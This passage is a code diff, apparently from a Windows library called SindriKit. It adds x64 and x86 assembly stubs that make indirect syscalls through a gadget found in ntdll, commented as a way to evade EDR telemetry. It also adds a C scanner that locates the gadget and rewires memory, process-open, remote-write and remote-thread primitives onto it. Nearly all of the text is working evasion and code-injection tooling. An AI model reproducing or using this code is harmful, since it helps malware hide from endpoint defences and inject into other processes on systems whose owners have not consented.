|
|
||||||
pop ebp
|
pop ebp
|
||||||
ret
|
ret
|
||||||
snd_syscall_invoke_asm ENDP
|
snd_syscall_direct_invoke_asm ENDP
|
||||||
|
|
||||||
end
|
end
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
; ===========================================================================
|
||||||
|
; invoke_indirect_x64.asm - SindriKit Indirect Syscall Invocation ASM Stub
|
||||||
|
; ===========================================================================
|
||||||
|
;
|
||||||
|
; Exports:
|
||||||
|
; snd_syscall_indirect_invoke_asm
|
||||||
|
;
|
||||||
|
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
|
||||||
|
; within ntdll.dll to evade EDR telemetry checking the RIP of the syscall.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
|
.code
|
||||||
|
|
||||||
|
PUBLIC snd_syscall_indirect_invoke_asm
|
||||||
|
|
||||||
|
; snd_syscall_indirect_invoke_asm(SND_SYSCALL_ARGS* args)
|
||||||
|
snd_syscall_indirect_invoke_asm PROC
|
||||||
|
push rbp
|
||||||
|
mov rbp, rsp
|
||||||
|
sub rsp, 88
|
||||||
|
|
||||||
|
; RCX points to SND_SYSCALL_ARGS struct
|
||||||
|
|
||||||
|
; Extract the gadget address (sys_addr) which is at the very end of the struct
|
||||||
|
; Offset is 96 (WORD ssn (2) + padding (6) + 11*PVOID (88))
|
||||||
|
mov r11, [rcx+96]
|
||||||
|
|
||||||
|
test r11, r11
|
||||||
|
jnz GadgetValid
|
||||||
|
mov eax, 0C000000Dh
|
||||||
|
jmp Cleanup
|
||||||
|
|
||||||
|
GadgetValid:
|
||||||
|
; Setup stack arguments (args 5-11) safely in a new frame
|
||||||
|
mov rax, [rcx+40] ; arg5
|
||||||
|
mov [rsp+32], rax
|
||||||
|
mov rax, [rcx+48] ; arg6
|
||||||
|
mov [rsp+40], rax
|
||||||
|
mov rax, [rcx+56] ; arg7
|
||||||
|
mov [rsp+48], rax
|
||||||
|
mov rax, [rcx+64] ; arg8
|
||||||
|
mov [rsp+56], rax
|
||||||
|
mov rax, [rcx+72] ; arg9
|
||||||
|
mov [rsp+64], rax
|
||||||
|
mov rax, [rcx+80] ; arg10
|
||||||
|
mov [rsp+72], rax
|
||||||
|
mov rax, [rcx+88] ; arg11
|
||||||
|
mov [rsp+80], rax
|
||||||
|
|
||||||
|
; Extract SSN and arguments 1-4
|
||||||
|
movzx eax, word ptr [rcx] ; ssn is a WORD
|
||||||
|
mov r10, [rcx+8] ; arg1 (must go to r10 for syscall)
|
||||||
|
mov rdx, [rcx+16] ; arg2
|
||||||
|
mov r8, [rcx+24] ; arg3
|
||||||
|
mov r9, [rcx+32] ; arg4
|
||||||
|
|
||||||
|
lea r12, Cleanup
|
||||||
|
push r12
|
||||||
|
|
||||||
|
; Jump to the NTDLL syscall gadget
|
||||||
|
jmp r11
|
||||||
|
|
||||||
|
Cleanup:
|
||||||
|
mov rsp, rbp
|
||||||
|
pop rbp
|
||||||
|
ret
|
||||||
|
snd_syscall_indirect_invoke_asm ENDP
|
||||||
|
|
||||||
|
end
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
; ===========================================================================
|
||||||
|
; invoke_indirect_x86.asm - SindriKit Indirect Syscall Invocation ASM Stub
|
||||||
|
; ===========================================================================
|
||||||
|
;
|
||||||
|
; Exports:
|
||||||
|
; snd_syscall_indirect_invoke_asm
|
||||||
|
;
|
||||||
|
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
|
.686
|
||||||
|
.model flat, c
|
||||||
|
.code
|
||||||
|
|
||||||
|
PUBLIC snd_syscall_indirect_invoke_asm
|
||||||
|
|
||||||
|
; NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t* args)
|
||||||
|
snd_syscall_indirect_invoke_asm PROC
|
||||||
|
push ebp
|
||||||
|
mov ebp, esp
|
||||||
|
|
||||||
|
; Save non-volatile registers
|
||||||
|
push edi
|
||||||
|
push esi
|
||||||
|
push ebx
|
||||||
|
|
||||||
|
mov eax, [ebp+8]
|
||||||
|
|
||||||
|
mov ecx, [eax+48]
|
||||||
|
|
||||||
|
test ecx, ecx
|
||||||
|
jnz GadgetValid
|
||||||
|
mov eax, 0C000000Dh
|
||||||
|
jmp Cleanup
|
||||||
|
|
||||||
|
GadgetValid:
|
||||||
|
; Push 11 arguments
|
||||||
|
push [eax+44] ; arg11
|
||||||
|
push [eax+40] ; arg10
|
||||||
|
push [eax+36] ; arg9
|
||||||
|
push [eax+32] ; arg8
|
||||||
|
push [eax+28] ; arg7
|
||||||
|
push [eax+24] ; arg6
|
||||||
|
push [eax+20] ; arg5
|
||||||
|
push [eax+16] ; arg4
|
||||||
|
push [eax+12] ; arg3
|
||||||
|
push [eax+8] ; arg2
|
||||||
|
push [eax+4] ; arg1
|
||||||
|
|
||||||
|
; Extract SSN into EAX for the syscall
|
||||||
|
movzx eax, word ptr [eax]
|
||||||
|
|
||||||
|
lea edx, SyscallCleanup
|
||||||
|
push edx
|
||||||
|
|
||||||
|
jmp ecx
|
||||||
|
|
||||||
|
SyscallCleanup:
|
||||||
|
lea esp, [ebp - 12]
|
||||||
|
|
||||||
|
Cleanup:
|
||||||
|
; Restore non-volatile registers
|
||||||
|
pop ebx
|
||||||
|
pop esi
|
||||||
|
pop edi
|
||||||
|
|
||||||
|
pop ebp
|
||||||
|
ret
|
||||||
|
snd_syscall_indirect_invoke_asm ENDP
|
||||||
|
|
||||||
|
end
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/common/status.h>
|
||||||
|
#include <sindri/parsers/env/peb.h>
|
||||||
|
#include <sindri/parsers/pe/exports.h>
|
||||||
|
#include <sindri/parsers/pe/parser.h>
|
||||||
|
#include <sindri/primitives/syscalls.h>
|
||||||
|
#include <sindri_hashes.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
|
||||||
|
if (entry == NULL || entry->dwHash == 0) {
|
||||||
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Get the natively loaded NTDLL from our own PEB
|
||||||
|
PVOID local_ntdll = NULL;
|
||||||
|
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
|
||||||
|
if (SND_FAILED(status) || !local_ntdll) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Resolve the real, executable address of the API using its hash
|
||||||
|
FARPROC exec_addr = NULL;
|
||||||
|
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
|
||||||
|
if (SND_FAILED(status) || !exec_addr) {
|
||||||
|
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN64)
|
||||||
|
BYTE *ptr = (BYTE *)exec_addr;
|
||||||
|
|
||||||
|
// Scan forward a maximum of 32 bytes from the API entry point
|
||||||
|
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
|
||||||
|
for (int i = 0; i < 32; i++) {
|
||||||
|
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
|
||||||
|
entry->pSyscallAddr = (PVOID)&ptr[i];
|
||||||
|
return SND_OK;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds
|
||||||
|
#elif defined(_WIN32)
|
||||||
|
BYTE *ptr = (BYTE *)exec_addr;
|
||||||
|
|
||||||
|
// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
|
||||||
|
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
|
||||||
|
// or just after the `mov eax, SSN`.
|
||||||
|
// The typical NTDLL stub on x86 looks like:
|
||||||
|
// mov eax, <SSN>
|
||||||
|
// mov edx, <wow64_transition> or mov edx, esp
|
||||||
|
// call dword ptr fs:[0xC0] or sysenter or call edx
|
||||||
|
// ret XX
|
||||||
|
//
|
||||||
|
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
|
||||||
|
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
|
||||||
|
// The instructions after that handle the transition safely for the specific OS version.
|
||||||
|
|
||||||
|
// We check if it starts with `mov eax` (0xB8)
|
||||||
|
if (ptr[0] == 0xB8) {
|
||||||
|
entry->pSyscallAddr = (PVOID)&ptr[5];
|
||||||
|
return SND_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
|
||||||
|
#else
|
||||||
|
return SND_ERR(SND_STATUS_ARCH_MISMATCH);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
@@ -1,29 +1,47 @@
|
|||||||
#include <sindri/common/status.h>
|
#include <sindri/common/status.h>
|
||||||
#include <sindri/parsers/env/peb.h>
|
|
||||||
#include <sindri/primitives/syscalls.h>
|
#include <sindri/primitives/syscalls.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
#define SND_MAX_INTERNAL_STRATEGIES 4
|
#define SND_MAX_INTERNAL_STRATEGIES 4
|
||||||
|
|
||||||
static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {0};
|
|
||||||
static int g_strategy_count = 0;
|
|
||||||
static PVOID g_syscall_ntdll_target = NULL;
|
static PVOID g_syscall_ntdll_target = NULL;
|
||||||
|
|
||||||
|
static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {SND_SYSCALL_RESOLVER_DEFAULT};
|
||||||
|
#if SND_USE_DEFAULTS
|
||||||
|
static int g_strategy_count = 1;
|
||||||
|
#else
|
||||||
|
static int g_strategy_count = 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
|
||||||
|
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
|
||||||
|
|
||||||
void snd_syscall_set_ntdll(PVOID ntdll_base) {
|
void snd_syscall_set_ntdll(PVOID ntdll_base) {
|
||||||
if (ntdll_base == NULL) {
|
if (!ntdll_base)
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
g_syscall_ntdll_target = ntdll_base;
|
g_syscall_ntdll_target = ntdll_base;
|
||||||
}
|
}
|
||||||
|
|
||||||
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver) {
|
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker) {
|
||||||
|
if (!invoker)
|
||||||
|
return;
|
||||||
|
g_syscall_invoker = invoker;
|
||||||
|
}
|
||||||
|
|
||||||
|
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
|
||||||
|
if (!finder)
|
||||||
|
return;
|
||||||
|
g_syscall_gadget_finder = finder;
|
||||||
|
}
|
||||||
|
|
||||||
|
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
|
||||||
if (!resolver)
|
if (!resolver)
|
||||||
return;
|
return;
|
||||||
g_strategy_chain[0] = resolver;
|
g_strategy_chain[0] = resolver;
|
||||||
g_strategy_count = 1;
|
g_strategy_count = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver) {
|
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver) {
|
||||||
if (!resolver) {
|
if (!resolver) {
|
||||||
return SND_ERR(SND_STATUS_NULL_POINTER);
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
}
|
}
|
||||||
@@ -54,6 +72,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
|
|||||||
snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out);
|
snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out);
|
||||||
|
|
||||||
if (SND_SUCCEEDED(status)) {
|
if (SND_SUCCEEDED(status)) {
|
||||||
|
if (g_syscall_gadget_finder != NULL) {
|
||||||
|
status = g_syscall_gadget_finder(entry_out);
|
||||||
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,8 @@
|
|||||||
#include <sindri_hashes.h>
|
#include <sindri_hashes.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern snd_syscall_invoker_t g_syscall_invoker;
|
||||||
|
|
||||||
static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) {
|
static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) {
|
||||||
if (!out_handle || !section_name)
|
if (!out_handle || !section_name)
|
||||||
return SND_ERR(SND_STATUS_NULL_POINTER);
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
@@ -22,11 +24,15 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = out_handle;
|
args.arg1 = out_handle;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
|
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
|
||||||
args.arg3 = &obj_attr;
|
args.arg3 = &obj_attr;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -45,6 +51,7 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = section_handle;
|
args.arg1 = section_handle;
|
||||||
args.arg2 = GetCurrentProcess();
|
args.arg2 = GetCurrentProcess();
|
||||||
args.arg3 = &base_address;
|
args.arg3 = &base_address;
|
||||||
@@ -56,7 +63,10 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
|
|||||||
args.arg9 = (PVOID)0;
|
args.arg9 = (PVOID)0;
|
||||||
args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY;
|
args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
if (!SND_NT_SUCCESS(nt_status)) {
|
if (!SND_NT_SUCCESS(nt_status)) {
|
||||||
return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status);
|
return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
@@ -77,9 +87,13 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = handle;
|
args.arg1 = handle;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,8 @@
|
|||||||
#include <sindri_hashes.h>
|
#include <sindri_hashes.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern snd_syscall_invoker_t g_syscall_invoker;
|
||||||
|
|
||||||
static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect,
|
static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect,
|
||||||
LPVOID *out_address) {
|
LPVOID *out_address) {
|
||||||
if (!out_address)
|
if (!out_address)
|
||||||
@@ -23,6 +25,7 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = 0;
|
args.arg3 = 0;
|
||||||
@@ -30,7 +33,10 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
|
|||||||
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
|
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
|
||||||
args.arg6 = (PVOID)(ULONG_PTR)protect;
|
args.arg6 = (PVOID)(ULONG_PTR)protect;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
if (SND_NT_SUCCESS(nt_status)) {
|
if (SND_NT_SUCCESS(nt_status)) {
|
||||||
*out_address = baseAddress;
|
*out_address = baseAddress;
|
||||||
return SND_OK;
|
return SND_OK;
|
||||||
@@ -54,12 +60,16 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
args.arg4 = (PVOID)(ULONG_PTR)free_type;
|
args.arg4 = (PVOID)(ULONG_PTR)free_type;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -76,13 +86,17 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = processHandle;
|
args.arg1 = processHandle;
|
||||||
args.arg2 = &baseAddress;
|
args.arg2 = &baseAddress;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
|
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
|
||||||
args.arg5 = &oldProtect;
|
args.arg5 = &oldProtect;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
|
|
||||||
if (SND_NT_SUCCESS(nt_status)) {
|
if (SND_NT_SUCCESS(nt_status)) {
|
||||||
if (old_protect) {
|
if (old_protect) {
|
||||||
|
|||||||
@@ -1,11 +1,12 @@
|
|||||||
#include "sindri/common/status.h"
|
#include <sindri/common/status.h>
|
||||||
|
|
||||||
#include <sindri/internal/nt/types.h>
|
#include <sindri/internal/nt/types.h>
|
||||||
#include <sindri/primitives/process.h>
|
#include <sindri/primitives/process.h>
|
||||||
#include <sindri/primitives/syscalls.h>
|
#include <sindri/primitives/syscalls.h>
|
||||||
#include <sindri_hashes.h>
|
#include <sindri_hashes.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern snd_syscall_invoker_t g_syscall_invoker;
|
||||||
|
|
||||||
static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) {
|
static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) {
|
||||||
if (!out_process)
|
if (!out_process)
|
||||||
return SND_ERR(SND_STATUS_NULL_POINTER);
|
return SND_ERR(SND_STATUS_NULL_POINTER);
|
||||||
@@ -25,12 +26,16 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = out_process;
|
args.arg1 = out_process;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
|
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
|
||||||
args.arg3 = &oa;
|
args.arg3 = &oa;
|
||||||
args.arg4 = (PVOID)&cid;
|
args.arg4 = (PVOID)&cid;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -50,6 +55,7 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = &local_base;
|
args.arg2 = &local_base;
|
||||||
args.arg3 = 0;
|
args.arg3 = 0;
|
||||||
@@ -57,7 +63,10 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
|
|||||||
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
|
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
|
||||||
args.arg6 = (PVOID)(ULONG_PTR)protect;
|
args.arg6 = (PVOID)(ULONG_PTR)protect;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
if (SND_NT_SUCCESS(nt_status)) {
|
if (SND_NT_SUCCESS(nt_status)) {
|
||||||
*out_address = local_base;
|
*out_address = local_base;
|
||||||
return SND_OK;
|
return SND_OK;
|
||||||
@@ -76,13 +85,17 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = base_address;
|
args.arg2 = base_address;
|
||||||
args.arg3 = (PVOID)buffer;
|
args.arg3 = (PVOID)buffer;
|
||||||
args.arg4 = (PVOID)size;
|
args.arg4 = (PVOID)size;
|
||||||
args.arg5 = &written;
|
args.arg5 = &written;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
if (bytes_written)
|
if (bytes_written)
|
||||||
*bytes_written = written;
|
*bytes_written = written;
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status);
|
||||||
@@ -101,13 +114,17 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = process;
|
args.arg1 = process;
|
||||||
args.arg2 = &addr;
|
args.arg2 = &addr;
|
||||||
args.arg3 = ®ionSize;
|
args.arg3 = ®ionSize;
|
||||||
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
|
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
|
||||||
args.arg5 = &oldProt;
|
args.arg5 = &oldProt;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
if (old_protect)
|
if (old_protect)
|
||||||
*old_protect = oldProt;
|
*old_protect = oldProt;
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status);
|
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status);
|
||||||
@@ -126,6 +143,7 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = out_thread;
|
args.arg1 = out_thread;
|
||||||
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
|
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
|
||||||
args.arg3 = NULL;
|
args.arg3 = NULL;
|
||||||
@@ -138,7 +156,10 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
|
|||||||
args.arg10 = 0;
|
args.arg10 = 0;
|
||||||
args.arg11 = NULL;
|
args.arg11 = NULL;
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
if (g_syscall_invoker == NULL) {
|
||||||
|
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
|
||||||
|
}
|
||||||
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status);
|
